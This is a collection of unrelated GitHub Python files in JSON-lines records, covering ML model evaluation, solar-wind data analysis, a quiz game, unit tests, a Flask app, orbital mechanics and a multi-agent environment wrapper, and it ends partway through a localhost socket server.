parser.add_argument('--numkp', type=int, default=3, help='number of keypoints [default: 3]')\n parser.add_argument('--detector_ck_path', type=str, help='path to the trained detector model [default: ]')\n parser.add_argument('--decoder_ck_path', type=str, help='path to save decoder model [default: ]')\n parser.add_argument('--data_path', type=str, help='path to the dataset')\n\n ''' === Model Setting === '''\n parser.add_argument('--model', type=str, default='pcn_det', help='model [pcn_occo]')\n parser.add_argument('--padding', type=str, default='replace', help='method for padding')\n parser.add_argument('--augrot', action='store_true', help='y rotation augmentation [default: False]')\n parser.add_argument('--augocc', action='store_true', help='occlusion augmentation [default: False]')\n parser.add_argument('--augsca', action='store_true', help='scaling augmentation [default: False]')\n parser.add_argument('--k', type=int, default=20, help='# nearest neighbors in DGCNN [20]')\n parser.add_argument('--grid_size', type=int, default=4, help='edge length of the 2D grid [4]') # 4\n parser.add_argument('--grid_scale', type=float, default=0.05, help='scale of the 2D grid [0.5]') # 0.5\n parser.add_argument('--num_coarse', type=int, default=64, help='# points in coarse gt [64]') # 1024 , change to 64\n parser.add_argument('--num_fine', type=int, default=1024, help='# points in fine [1024]]') # 1024 , change to 64\n parser.add_argument('--emb_dims', type=int, default=1024, help='# dimension of DGCNN encoder [1024]')\n parser.add_argument('--input_pts', type=int, default=1024, help='# points of occluded inputs [1024]')\n parser.add_argument('--gt_pts', type=int, default=1024, help='# points of ground truth inputs [1024]') # 16384\n\n return parser.parse_args()\n\n\ndef main(args, task_index, numkp):\n '''\n keypoint detection main\n '''\n\n ''' === Set up Task and Load Data === '''\n root = args.data_path\n print(\"load data from {}\".format(root))\n kp_dict_file = \"src/kp_ind_list.pickle\"\n\n # checkpoints_dir = os.path.join(args.ck_path, \"{}_{}_{}_{}/{}/{}/\".format(args.model, args.augrot, args.augocc, args.augsca, task_index, args.numkp))\n detector_checkpoints_dir = os.path.join(args.detector_ck_path, \"{}_{}_{}_{}/{}/{}/\".format(args.model, args.augrot, args.augocc, args.augsca, task_index, numkp))\n completor_checkpoints_dir = os.path.join(args.decoder_ck_path, \"{}_{}_{}_{}/{}/{}/\".format(args.model, args.augrot, args.augocc, args.augsca, task_index, numkp))\n\n\n if os.path.exists(detector_checkpoints_dir) is False:\n print(\"invalid detector checkpoint path\")\n\n if os.path.exists(completor_checkpoints_dir) is False:\n print(\"invalid completor/decoder checkpoint path\")\n\n\n ''' === Load Model and Backup Scripts === '''\n device = torch.device(\"cuda\" if torch.cuda.is_available() else \"cpu\")\n # load the detector\n MODEL_DET = importlib.import_module(args.model)\n detector = MODEL_DET.get_model(args=args, grid_size=args.grid_size,\n grid_scale=args.grid_scale, num_coarse=args.num_coarse, num_channel=3, num_cp = numkp).to(device)\n\n detector = torch.nn.DataParallel(detector)\n\n # load the decoder\n MODEL_COMP = importlib.import_module(\"decoder_comp\")\n completor = MODEL_COMP.get_model(args=args, grid_size=args.grid_size,\n grid_scale=args.grid_scale, num_coarse=args.num_coarse, num_fine=args.num_fine, num_channel=3,\n num_cp=numkp).to(device)\n completor = torch.nn.DataParallel(completor)\n\n ''' === Restore detector Model from Checkpoints, If there is any === '''\n\n bestepoch_detector = np.max([int(ckfile.split('.')[0].split('_')[-1]) for ckfile in os.listdir(detector_checkpoints_dir)])\n args.restore_path_root = os.path.join(detector_checkpoints_dir, \"model_epoch_{}.pth\".format(bestepoch_detector))\n detector.load_state_dict(torch.load(args.restore_path_root)['model_state_dict'])\n print(f\"load detector state dict: {args.restore_path_root}\")\n detector.eval()\n\n ''' === Restore decoder Model from Checkpoints, If there is any === '''\n\n bestepoch_completor = np.max([int(ckfile.split('.')[0].split('_')[-1]) for ckfile in os.listdir(completor_checkpoints_dir)])\n args.restore_path_root = os.path.join(completor_checkpoints_dir, \"model_epoch_{}.pth\".format(bestepoch_completor))\n print(f\"load completor state dict: {args.restore_path_root}\")\n completor.load_state_dict(torch.load(args.restore_path_root)['model_state_dict'])\n completor.eval()\n\n '''\n load the dataset\n '''\n\n root = args.data_path\n tasks_path = os.path.join(root, \"h5data/tasks\")\n print(\"Chosen task:\", task_index)\n\n # TEST\n H5DataPath = os.path.join(tasks_path, \"{}_{}_full.h5\".format(task_index, 'test'))\n TEST_DATASET = General_PartKPDataLoader_HDF5(H5DataPath, augrot=args.augrot, augocc=args.augocc, augsca=args.augsca, ref=\"left\", kp_dict_file=kp_dict_file, numkp=numkp)\n\n\n testDataLoader = DataLoader(TEST_DATASET, batch_size=args.batch_size, shuffle=True, num_workers=4, drop_last=False)\n\n with tqdm(testDataLoader, unit=\"batch\") as tepoch:\n batchcount = 0\n test_errorlist = []\n # for points, target, _ in tepoch:\n for points, target, ref, sid, fid in tepoch:\n batchcount += 1\n points, target = points.transpose(2, 1).float().cuda(), target.float().cuda()\n if args.model == 'pcn_det':\n pred_kp = detector(points)\n else:\n raise NotImplementedError(\"only support pcn_det for testing here\")\n\n _, pc_fine = completor(pred_kp)\n fine_loss_batch_bidirection = chamfer_distance_with_batch(pc_fine.permute(0, 2, 1), points)\n fine_chamferdist_batch = (fine_loss_batch_bidirection[0] + fine_loss_batch_bidirection[1])\n\n\n batcherror = fine_chamferdist_batch.data.cpu().numpy()\n test_errorlist = np.hstack((test_errorlist, batcherror))\n\n return test_errorlist\n\nif __name__ == '__main__':\n '''\n python src/Evaluate_acc_sim.py --batch_size 256 --model pcn_det --augrot --augocc --augsca \n \n --data_path /local_storage/users/zehang/keypoint_humanoids/data --detector_ck_path /nas/zehang/keypoint_humanoids/detect_checkpoint --decoder_ck_path /nas/zehang/keypoint_humanoids/kp2comp_checkpoint --batch_size 32 --model pcn_det --augrot --augocc --augsca --savemodel --tasklist 2 4 6 8 10 12 14 16 18 20 --numkp 3\n \n '''\n args = parse_args()\n # task_index_list = args.tasklist\n # if task_index_list == None:\n # task_index_list = np.arange(1,21)\n # print(\"test all\")\n\n test_error_total = {}\n for task_index in [2,4,6,8,10,12,14,16,18,20]:\n test_error_total.update({task_index:{}})\n for numkp in [3,5,10,15,20,25,30,35,40,45,50,55,60]: #[3,5,10,15,20,25,30,35,40,45,50,55,60]:\n test_error_list = main(args, task_index=task_index, numkp=numkp)\n test_error_total[task_index].update({numkp:test_error_list})\n import pickle\n errorfile = open(\"./exp1_sim_{}.acc\".format(args.model), 'wb')\n pickle.dump(test_error_total, errorfile)\n errorfile.close()\n\n # num_kp_list = [3,5,10,15,20,25,30,35,40,45,50,55,60]\n #\n # for num_kp in num_kp_list:\n # trn_error_tasks = []\n # val_error_tasks = []\n # test_error_tasks = []\n # for task_index in task_index_list:\n # trn_error_list, val_error_list, test_error_list = main(args, task_index=task_index)\n # trn_error_tasks.append(trn_error_list)\n # val_error_tasks.append(val_error_list)\n # test_error_tasks.append(test_error_list)\n\n # error_total = [trn_error_tasks, val_error_tasks, test_error_tasks]\n #\n # import pickle\n # errorfile = open(\"logs/exp1_sim_{}.acc\".format(args.model), 'wb')\n # pickle.dump(error_total, errorfile)\n # errorfile.close()\n","repo_name":"Celiali/keypoints_RL","sub_path":"src/EvaluateComp.py","file_name":"EvaluateComp.py","file_ext":"py","file_size_in_byte":9963,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"14281889061","text":"import pandas as pd\nimport scipy as sp\nimport os\n\n\ndef execute_analize():\n headers = ['year', 'day', 'hour', 'B_scalar','Bz_GSM','Bz_GSE','SW_temperature', 'SW_proton_density','Plasma_Speed','Flow_pressure']\n # Get the directory of the current script\n current_directory = os.path.dirname(os.path.abspath(__file__))\n\n # Construct the absolute file path\n doc = os.path.join(current_directory, 'data1.txt')\n df = pd.read_csv(doc , delim_whitespace=' ',names=headers)\n #Found max values for each column\n df.max()\n #Create list with max values of each column\n max_values = [9999, 999, 99, 99, 99, 99, 9999999.00, 999.90, 9999.00, 99.99]\n # Remove rows with missing values\n df_raw = df[(df != max_values).all(axis=1)]\n\n # reset index\n df_raw = df_raw.reset_index(drop=True)\n\n data_to_find = df_raw['Bz_GSM']\n\n peaks = sp.signal.find_peaks(data_to_find, height=3.88, distance=20)\n print(len(peaks[0]))\n\n return {\"time\":peaks[0].tolist(), 'DataFrame':data_to_find.to_dict()}\n\nexecute_analize()","repo_name":"danielperez1234/nasa_api","sub_path":"Analisis.py","file_name":"Analisis.py","file_ext":"py","file_size_in_byte":1039,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"31589265787","text":"from random import randint\nmiss = 0\ncorrect = 0\nprint(\"QUESTION!|3 times wrong or push q finish\")\n\nwhile miss < 3:\n a = randint(1, 100)\n b = randint(1, 100)\n ans = a + b\n question = f\"{a}+{b}--->>>\"\n value = input(question)\n\n if value == \"q\":\n break\n if value == str(ans):\n correct += 1\n print(\"correct!\")\n else:\n miss += 1\n print(\"wrong your answer!\", \"*\"*miss)\n\nprint(\"-\"*20)\nprint(\"correct: \", correct)\nprint(\"miss: \", miss)\n","repo_name":"EAGLE12/studyPython","sub_path":"ex1/24.py","file_name":"24.py","file_ext":"py","file_size_in_byte":487,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"72970317276","text":"# -*- coding: utf-8 -*-\nfrom PIL import Image\nimport matplotlib.pyplot as plt\n\nplots = [\"mod1_precision.png\",\n \"mod2_precision.png\",\n \"mod3_precision.png\"]\n\nim1,im2,im3 = [Image.open(plots[i]) for i in range(len(plots))]\n\ndst = Image.new('RGB', (im1.width*2 , im1.height*2), color=(255,255,255))\n\ndst.paste(im1, (0, 0))\ndst.paste(im2, (im1.width, 0))\ndst.paste(im3, (0, im1.height))\n\ndst.save(\"precision_plots.png\")\n\n\n","repo_name":"SimonErnesto/SDT_Bayesian_models","sub_path":"precision_analysis/combine_figures.py","file_name":"combine_figures.py","file_ext":"py","file_size_in_byte":434,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"50"} +{"seq_id":"70523680475","text":"import unittest\n\nfrom solaris_install.target.physical import Disk\nfrom solaris_install.text_install.disk_window import DiskWindow\nimport terminalui\nfrom terminalui.color_theme import ColorTheme\nfrom terminalui.window_area import WindowArea\nfrom terminalui.inner_window import InnerWindow\n\n\nterminalui.init_logging(\"test\")\n\n\nclass MockAll(object):\n '''Generic Mock object that 'never' raises an AttributeError'''\n \n def __getattr__(self, name):\n return self\n \n def __call__(self, *args, **kwargs):\n return self\n\n\nclass MockInnerWin(object):\n '''Class for mock inner win'''\n def __init__(self):\n self.active_object = None\n self.objects = []\n self.text = None\n self.scrollable_lines = 10\n\n def activate_object(self):\n '''Set active_object to 0'''\n self.active_object = 0\n\n def get_active_object(self):\n '''Get active_object'''\n if self.active_object is not None:\n return self.objects[self.active_object]\n else:\n return None\n\n def add_text(self, text=None, y_loc=0, x_loc=0):\n '''Append passed in text to self.text'''\n if self.text is None:\n self.text = str(y_loc) + text\n else:\n self.text = self.text + str(y_loc) + text\n\n def get_text(self):\n '''Get the current value of self.text'''\n return self.text\n\n\nclass MockPartInfo(object):\n '''Class for mock part info field'''\n def __init__(self):\n self.is_editable = True\n\n def set_editable(self, editable=True):\n '''Set editable property'''\n self.is_editable = editable\n\n def editable(self):\n ''' get editable setting'''\n return self.is_editable\n\n\nclass MockEditField(object):\n '''Class for mock edit field'''\n def __init__(self):\n self.active = False\n\n def make_inactive(self, inactive=True):\n ''' Set active property'''\n self.active = not inactive\n\n\nclass MockPartField(object):\n '''Class for mock part field'''\n def __init__(self):\n self.edit_field = None\n self.active_object = None\n self.objects = []\n\n def activate_object(self, tobject):\n '''activate object'''\n self.active_object = 0\n self.edit_field = tobject\n self.edit_field.make_inactive(False)\n\n def get_active_object(self):\n '''Get active_object'''\n if self.active_object is not None:\n return self.objects[self.active_object]\n else:\n return None\n\n\ndef do_nothing(*args, **kwargs):\n '''does nothing'''\n pass\n\n\nclass TestDiskWindow(unittest.TestCase):\n '''Class to test DiskWindow'''\n \n def setUp(self):\n '''unit test set up\n Sets several functions to call do_nothing to allow\n test execution in non-curses environment. Original\n functions are saved so they can be later restored in\n tearDown.\n\n '''\n self.inner_window_init_win = InnerWindow._init_win\n self.disk_window_init_win = DiskWindow._init_win\n self.inner_window_set_color = InnerWindow.set_color\n InnerWindow._init_win = do_nothing\n InnerWindow.set_color = do_nothing\n DiskWindow._init_win = do_nothing\n self.disk_win = DiskWindow(WindowArea(70, 70, 0, 0), Disk(\"MockDisk\"),\n color_theme=ColorTheme(force_bw=True),\n window=MockAll())\n self.edit_field = MockEditField()\n self.part_field = MockPartField()\n self.part_info = MockPartInfo()\n self.inner_win = MockInnerWin()\n self.disk_win.objects = []\n self.part_field.objects = []\n\n def tearDown(self):\n '''unit test tear down\n Functions originally saved in setUp are restored to their\n original values. \n '''\n InnerWindow._init_win = self.inner_window_init_win\n InnerWindow.set_color = self.inner_window_set_color\n DiskWindow._init_win = self.disk_window_init_win\n self.disk_win = None\n self.edit_field = None\n self.part_field = None\n self.part_info = None\n self.inner_win = None\n \n\nclass UpdateEditField(TestDiskWindow):\n '''Tests for _update_edit_field'''\n\n def test_part_info_not_editable(self):\n '''Ensure edit field updated correctly if part_info not editable'''\n self.part_info.set_editable(False)\n self.edit_field.make_inactive(False)\n self.part_field.activate_object(self.edit_field)\n self.part_field.objects.append(self.edit_field)\n \n self.disk_win._update_edit_field(self.part_info, self.part_field,\n self.edit_field)\n self.assertFalse(self.edit_field.active)\n self.assertEquals(len(self.part_field.objects), 0)\n self.assertTrue(self.part_field.active_object is None)\n\n def test_part_info_editable_no_active_win(self):\n '''Ensure edit field not updated if no active right/left win'''\n self.part_info.set_editable(True)\n self.edit_field.make_inactive(True)\n self.assertTrue(self.part_field.active_object is None)\n self.disk_win._update_edit_field(self.part_info, self.part_field,\n self.edit_field)\n self.assertTrue(self.part_field.active_object is None)\n self.assertFalse(self.edit_field.active)\n\n def test_part_info_editable_active_win_no_active_obj(self):\n '''Ensure edit field updated correctly if active obj not part_field'''\n self.part_info.set_editable(True)\n self.edit_field.make_inactive(True)\n self.disk_win.objects.append(self.inner_win)\n self.disk_win.active_object = 0\n my_part_field = MockPartField()\n self.inner_win.objects.append(my_part_field)\n self.inner_win.active_object = 0\n\n self.assertTrue(self.inner_win.get_active_object() is my_part_field)\n self.assertTrue(self.part_field.active_object is None)\n\n self.disk_win._update_edit_field(self.part_info, self.part_field,\n self.edit_field)\n self.assertTrue(self.part_field.active_object is None)\n self.assertFalse(self.edit_field.active)\n\n def test_part_info_editable_active_win(self):\n '''Ensure edit field updated correctly if part_info is editable'''\n self.part_info.set_editable(True)\n self.edit_field.make_inactive(True)\n self.disk_win.objects.append(self.inner_win)\n self.disk_win.active_object = 0\n self.inner_win.objects.append(self.part_field)\n self.inner_win.active_object = 0\n\n self.assertEquals(self.disk_win.active_object, 0)\n self.assertTrue(self.part_field.active_object is None)\n\n self.disk_win._update_edit_field(self.part_info, self.part_field,\n self.edit_field)\n self.assertEquals(self.part_field.active_object, 0)\n self.assertTrue(self.edit_field.active)\n \n\nif __name__ == '__main__':\n unittest.main()\n","repo_name":"aszeszo/caiman","sub_path":"usr/src/cmd/text-install/test/test_disk_window.py","file_name":"test_disk_window.py","file_ext":"py","file_size_in_byte":7067,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"50"} +{"seq_id":"22277510640","text":"from flask import Flask, render_template,session\nfrom flask.ext.bootstrap import Bootstrap\nfrom flask.ext.mail import Mail\nfrom flask.ext.wtf import Form\nfrom wtforms import StringField, BooleanField, SubmitField, validators\nfrom wtforms.validators import Required\nfrom flask.ext.moment import Moment\nfrom flask.ext.sqlalchemy import SQLAlchemy\nfrom config import config\nfrom flask.ext.login import LoginManager\n\nbootstrap = Bootstrap()\nmail = Mail()\nmoment = Moment()\ndb = SQLAlchemy()\nlogin_manager = LoginManager()\nlogin_manager.session_protection = 'strong'\nlogin_manager.login_view = 'auth.login'\n\ndef create_app(config_name):\n app = Flask(__name__)\n app.config.from_object(config[config_name])\n config[config_name].init_app(app)\n bootstrap.init_app(app)\n mail.init_app(app)\n moment.init_app(app)\n login_manager.init_app(app)\n db.init_app(app)\n from .auth import auth as auth_blueprint\n app.register_blueprint(auth_blueprint, url_prefix='/auth')\n \n return app\n\n class NameForm(Form):\n name = StringField('What is your name?', validators=[Required()])\n email = StringField('email?', validators=[Required()])\n submit = SubmitField('Submit')\n\n @app.route('/', methods=['GET', 'POST'])\n def index():\n form = NameForm()\n if form.validate_on_submit():\n \t user =User.query.filter_by(username=form.name.data).first()\n \t if user is None:\n \t\t user = User(username = form.name.data)\n \t\t db.session.add(user)\n \t\t session['known'] = False\n \t\t if app.config['TUKLAB_ADMIN']:\n \t\t \tsend_email(app.config['TUKLAB_ADMIN'], 'New User',\n 'mail/new_user', user=user)\n \t else:\n \t session['known'] = True\n \t session['name'] = form.name.data\n \t form.name.data=''\n \t return redirect(url_for('index'))\n return render_template('index.html',\n form = form, name = session.get('name'),\n known = session.get('known', False))\n\n @app.route('/user/')\n def user(name):\n return render_template('user.html',name=name)\n\n\n @app.errorhandler(404)\n def page_not_found(e):\n return render_template('404.html'), 404 \n\n @app.errorhandler(500)\n def internal_server_error(e):\n return render_template('500.html'), 500\n\n from main import main as main_blueprint\n app.register_blueprint(main_blueprint)\n return app ","repo_name":"Denniskamau/Tuklab","sub_path":"app/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":2451,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"50"} +{"seq_id":"14884629409","text":"import numpy as np\nimport numpy.linalg as la\nfrom sympy import *\nfrom scipy.linalg import lu_factor, lu_solve\nfrom STMint.STMint import STMint\nimport matplotlib.pyplot as plt\n\n#class containing variational data and ability to solve BVPs\nclass OrbitVariationalData:\n\t#lowest level STMs, exponent for 2^exponent of these STMs\n\tdef __init__(self, STTs, STMs, trvs, T, exponent):\n\t\tself.STMs = STMs\n\t\t#stts are energy output only\n\t\tself.STTs = STTs\n\t\tself.T = T\n\t\tself.ts = trvs[:,0]\n\t\tself.rs = trvs[:,1:4]\n\t\tself.vs = trvs[:,4:]\n\t\tself.exponent = exponent\n\t\tself.refinedList = [STMs]\n\t\tself.refinedListSTTs = [STTs]\n\t\tself.constructAdditionalLevels()\n\n#Function to find STM and STT along two combined subintervals\n#The cocycle conditon equation is used to find Phi(t2,t0)=Phi(t2,t1)*Phi(t1,t0)\n#and the generalized cocycle condition is used to find Psi(t2,t0)\n\tdef cocycle2(self, stm10, stt10, stm21, stt21):\n\t\tstm20 = np.matmul(stm21, stm10)\n\t\t#stt20 = np.einsum('il,ljk->ijk', stm21, stt10) + np.einsum('ilm,lj,mk->ijk', stt21, stm10, stm10)\n\t\t#cocycles for stt with energy output only\n\t\tstt20 = stt10 + np.einsum('lm,lj,mk->jk', stt21, stm10, stm10)\n\t\treturn [stm20, stt20]\n\t#create structure with most refined STMs at [0], and the monodromy matrix at [exponent] \n\tdef constructAdditionalLevels(self):\n\t\tfor i in range(self.exponent):\n\t\t\tstms1 = []\n\t\t\tstts1 = []\n\t\t\tfor j in range(2**(self.exponent-i-1)):\n\t\t\t\tSTMCombined, STTCombined = self.cocycle2(self.refinedList[i][2*j], self.refinedListSTTs[i][2*j], self.refinedList[i][2*j+1], self.refinedListSTTs[i][2*j+1])\n\t\t\t\tstms1.append(STMCombined)\n\t\t\t\tstts1.append(STTCombined)\n\t\t\tself.refinedListSTTs.append(stts1)\n\t\t\tself.refinedList.append(stms1)\n\t#takes self.exponent number matrix mults/cocycle conditions in a binary search style\n\tdef findSTMAux(self, t0, tf):\n\t\tfoundCoarsestLevel = False\n\t\tfor i in range(self.exponent+1):\n\t\t\tj = self.exponent - i\n\t\t\tstepLength = self.T / (2.**i)\n\t\t\tlocation0 = (int) (t0 // stepLength)\n\t\t\tlocationf = (int) (tf // stepLength)\n\t\t\t#this is the coarsest level at which there is a full precomputed STM between the two times\n\t\t\tif not foundCoarsestLevel:\n\t\t\t\tif locationf-location0 >= 2:\n\t\t\t\t\tfoundCoarsestLevel = True\n\t\t\t\t\tleftPoint = (location0+1)*(2**j)\n\t\t\t\t\trightPoint = locationf*(2**j)\n\t\t\t\t\tstm = self.refinedList[j][location0+1]\n\t\t\t\t\tstt = self.refinedListSTTs[j][location0+1]\n\t\t\t\t\t# if more than 2 periods\n\t\t\t\t\tif locationf-location0 == 3:\n\t\t\t\t\t\tstm, stt = self.cocycle2(stm, stt, self.refinedList[j][location0+2], self.refinedListSTTs[j][location0+2])\n\t\t\telse:\n\t\t\t\t#left and right points of the already constructed STM\n\t\t\t\tlp = (int) (leftPoint // ((2**j)))\n\t\t\t\trp = (int) (rightPoint // ((2**j)))\n\t\t\t\tif lp-location0 == 2:\n\t\t\t\t\tstm, stt = self.cocycle2(self.refinedList[j][location0+1], self.refinedListSTTs[j][location0+1], stm, stt)\n\t\t\t\t\tleftPoint -= (2**j)\n\t\t\t\tif locationf-rp == 1:\n\t\t\t\t\tstm, stt = self.cocycle2(stm, stt, self.refinedList[j][rp], self.refinedListSTTs[j][rp])\n\t\t\t\t\trightPoint += (2**j)\n\t\t#approximate at the endpoints\n\t\tif not foundCoarsestLevel:\n\t\t\tsmallestPieceTime = self.T / 2.**self.exponent\n\t\t\tlocation0 = (int) (t0 // smallestPieceTime)\n\t\t\tlocationf = (int) (tf // smallestPieceTime)\n\t\t\tif location0 == locationf:\n\t\t\t\tstm = np.identity(12) + (tf-t0)/smallestPieceTime * (self.STMs[location0]-np.identity(12))\n\t\t\t\tstt = (tf-t0)/smallestPieceTime * self.STTs[location0]\n\t\t\telse:\n\t\t\t\tline = smallestPieceTime*locationf\n\t\t\t\tstmLeft = np.identity(12) + (line-t0)/smallestPieceTime * (self.STMs[location0]-np.identity(12))\n\t\t\t\tsttLeft = (line-t0)/smallestPieceTime * self.STTs[location0]\n\t\t\t\tstmRight = np.identity(12) + (tf-line)/smallestPieceTime * (self.STMs[locationf]-np.identity(12))\n\t\t\t\tsttRight = (tf-line)/smallestPieceTime * self.STTs[locationf]\n\t\t\t\tstm, stt = self.cocycle2(stmLeft, sttLeft, stmRight, sttRight)\n\t\telse:\n\t\t\tsmallestPieceTime = self.T / 2.**self.exponent\n\t\t\tleftPointT = smallestPieceTime * leftPoint\n\t\t\trightPointT = smallestPieceTime * rightPoint\n\t\t\tleftContribution = np.identity(12) + (leftPointT-t0)/smallestPieceTime * (self.STMs[leftPoint-1]-np.identity(12))\n\t\t\tleftContributionSTT = (leftPointT-t0)/smallestPieceTime * (self.STTs[leftPoint-1])\n\t\t\tstm, stt = self.cocycle2(leftContribution, leftContributionSTT, stm, stt)\n\t\t\trightContribution = np.identity(12) + (tf-rightPointT)/smallestPieceTime * (self.STMs[rightPoint]-np.identity(12))\n\t\t\trightContributionSTT = (tf-rightPointT)/smallestPieceTime * self.STTs[rightPoint]\n\t\t\tstm, stt = self.cocycle2(stm, stt, rightContribution, rightContributionSTT)\n\t\treturn stm, stt\n\t#calculate the STM (and STT) for a given start and end time\n\tdef findSTM(self, t0, tf):\n\t\tif t0 > tf:\n\t\t\tprint(\"STM requested with t0>tf.\")\n\t\tleft = (int) (t0 // self.T)\n\t\tright = (int) (tf // self.T)\n\t\tt0 = t0 % self.T \n\t\ttf = tf % self.T\n\t\tif left == right:\n\t\t\tstm, stt = self.findSTMAux(t0, tf)\n\t\telse:\n\t\t\tstm, stt = self.findSTMAux(t0, self.T-10E-12)\n\t\t\tstmf, sttf = self.findSTMAux(0., tf)\n\t\t\tif right-left > 1:\n\t\t\t\t#stmmid = np.linalg.matrix_power(self.refinedList[-1][0], right-left-1)\n\t\t\t\tstmmid = self.refinedList[-1][0]\n\t\t\t\tsttmid = self.refinedListSTTs[-1][0]\n\t\t\t\tfor i in range(right-left-1):\n\t\t\t\t\tstmmid, sttmid = self.cocycle2(stmmid, sttmid, self.refinedList[-1][0], self.refinedListSTTs[-1][0])\n\t\t\t\tstm, stt = self.cocycle2(stm, stt, stmmid, sttmid)\n\t\t\tstm, stt = self.cocycle2(stm, stt, stmf, sttf)\n\t\treturn stm, stt\n\n\t#find relative rotating frame velocity that gives inertial relative velocity of zero\n\tdef findRotRelVel(self, rrel):\n\t\treturn np.array([rrel[1], -1.*rrel[0], 0.])\n\t#precompute necessary quantities for repeated calling of different transfers in same time ranges\n\tdef precompute_lu(self, t0, tf):\n\t\tstm, stt = self.findSTM(t0, tf)\n\t\tlu, piv = lu_factor(stm[:6,6:12])\n\t\treturn (stm[:6,:6], stm[6:12,:6], stm[6:12,6:], stt, lu, piv)\n\t\t\n\t#find the approximate cost of a relative transfer (for repeated calls with same initial and final times)\n\t#positions supplied in au\n\t#rotating frame velocities in canonical units\n\t#return energy cost in canonical units\n\tdef solve_bvp_cost(self, stmxx, stmlx, stmll, stt, lu, piv, x0rel, xfrel):\n\t\tl0rel = lu_solve((lu, piv), xfrel - np.matmul(stmxx, x0rel))\n\t\trelAugState = np.concatenate((x0rel, l0rel))\n\t\treturn np.einsum(\"jk,j,k->\", stt, relAugState, relAugState)\n\t\t\n\t\t\n\t#find the approximate cost of a relative transfer (for repeated calls with same initial and final times)\n\t#takes in the output of precompute_lu in the precomputeData field\n\t#positions supplied in km\n\t#Assume inertial relative velocities are zero\n\t#return energy in canonical units\n\tdef solve_bvp_cost_convenience(self, precomputeData, r0rel, rfrel):\n\t\t(stmxx, stmlx, stmll, stt, lu, piv) = precomputeData\n\t\tr0rel = self.posKMtoAU(r0rel)\n\t\trfrel = self.posKMtoAU(rfrel)\n\t\tv0rel = self.findRotRelVel(r0rel)\n\t\tvfrel = self.findRotRelVel(rfrel)\n\t\t#all in canonical units at this point-can be fed into bvp_solver function\n\t\ten = self.solve_bvp_cost(stmxx, stmlx, stmll, stt, lu, piv, np.concatenate((r0rel, v0rel)), np.concatenate((rfrel, vfrel)))\n\t\treturn en\n\n\t#convert position from KM to AU\n\tdef posKMtoAU(self, pos):\n\t\treturn pos / 149597870.7\n","repo_name":"jkulik11/STMPrecompute","sub_path":"OrbitVariationalData.py","file_name":"OrbitVariationalData.py","file_ext":"py","file_size_in_byte":7161,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"1683812136","text":"try:\n from gym import spaces\n from multiagent.multi_discrete import MultiDiscrete\n from multiagent.environment import MultiAgentEnv\n import multiagent.scenarios as scenarios\n from parl.utils import logger\n\n class MAenv(MultiAgentEnv):\n \"\"\" multiagent environment warppers for maddpg\n \"\"\"\n\n def __init__(self, scenario_name):\n env_list = [\n 'simple', 'simple_adversary', 'simple_crypto', 'simple_push',\n 'simple_reference', 'simple_speaker_listener', 'simple_spread',\n 'simple_tag', 'simple_world_comm'\n ]\n assert scenario_name in env_list, 'Env {} not found (valid envs include {})'.format(\n scenario_name, env_list)\n # load scenario from script\n scenario = scenarios.load(scenario_name + \".py\").Scenario()\n # create world\n world = scenario.make_world()\n # initial multiagent environment\n super().__init__(world, scenario.reset_world, scenario.reward,\n scenario.observation)\n self.obs_shape_n = [\n self.get_shape(self.observation_space[i])\n for i in range(self.n)\n ]\n self.act_shape_n = [\n self.get_shape(self.action_space[i]) for i in range(self.n)\n ]\n\n def get_shape(self, input_space):\n \"\"\"\n Args:\n input_space: environment space\n\n Returns:\n space shape\n \"\"\"\n if (isinstance(input_space, spaces.Box)):\n if (len(input_space.shape) == 1):\n return input_space.shape[0]\n else:\n return input_space.shape\n elif (isinstance(input_space, spaces.Discrete)):\n return input_space.n\n elif (isinstance(input_space, MultiDiscrete)):\n return sum(input_space.high - input_space.low + 1)\n else:\n print(\n '[Error] shape is {}, not Box or Discrete or MultiDiscrete'\n .format(input_space.shape))\n raise NotImplementedError\n\n logger.warning(\n 'the `MAenv` from `parl.env.multiagent_simple_env` is deprecated since parl 2.0.4 and will be removed in parl 3.0. \\n \\\n We recomend you to use `from parl.env.multiagent_env import MAenv` instead, which supports continuous control.'\n )\nexcept:\n raise ImportError(\n 'Can not use MAenv from parl.env.multiagent_simple_env, \\n \\\n please pip install multiagent according to https://github.com/openai/multiagent-particle-envs \\\n as well as `pip install gym==0.10.5`')\n","repo_name":"PaddlePaddle/PARL","sub_path":"parl/env/multiagent_simple_env.py","file_name":"multiagent_simple_env.py","file_ext":"py","file_size_in_byte":2738,"program_lang":"python","lang":"en","doc_type":"code","stars":3097,"dataset":"github-code","pt":"50"} +{"seq_id":"2288510730","text":"#coding:UTF-8\nimport discord\nimport configparser\nfrom discord.ext import tasks\nfrom datetime import datetime \n\n# コンフィグファイルの読み込み\ninifile = configparser.ConfigParser()\ninifile.read('./config.ini', 'UTF-8')\ntoken = inifile.get('settings', 'token')\nchannel_id = 809021475422994532\n\n# 接続に必要なオブジェクトを生成\nclient = discord.Client()\n\n# 60秒に一回ループ\n@tasks.loop(seconds=60)\nasync def loop():\n # 現在の時刻\n now = datetime.now().strftime('%H:%M')\n if now == '00:00' or now == '6:00' or now == '12:00' or now == '18:00':\n channel = client.get_channel(channel_id)\n await channel.send('!oma raid') \n\n#ループ処理実行\nloop.start()\n# Botの起動とDiscordサーバーへの接続\nclient.run(token)","repo_name":"kumi-ryu/doors_of_freedom_bot","sub_path":"src/omaraid.py","file_name":"omaraid.py","file_ext":"py","file_size_in_byte":784,"program_lang":"python","lang":"ja","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"31676483657","text":"import socket\nimport random\nIP = '127.0.0.1'\nPUERTO = 8083\nnum_respuestas = 99\n\nservidor = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n\ntry:\n servidor.bind((IP, PUERTO))\n servidor.listen(num_respuestas)\n print('Esperando conexion en {ip},{puerto}'.format(ip = IP, puerto = PUERTO))\n (cliente, direccion) = servidor.accept()\n 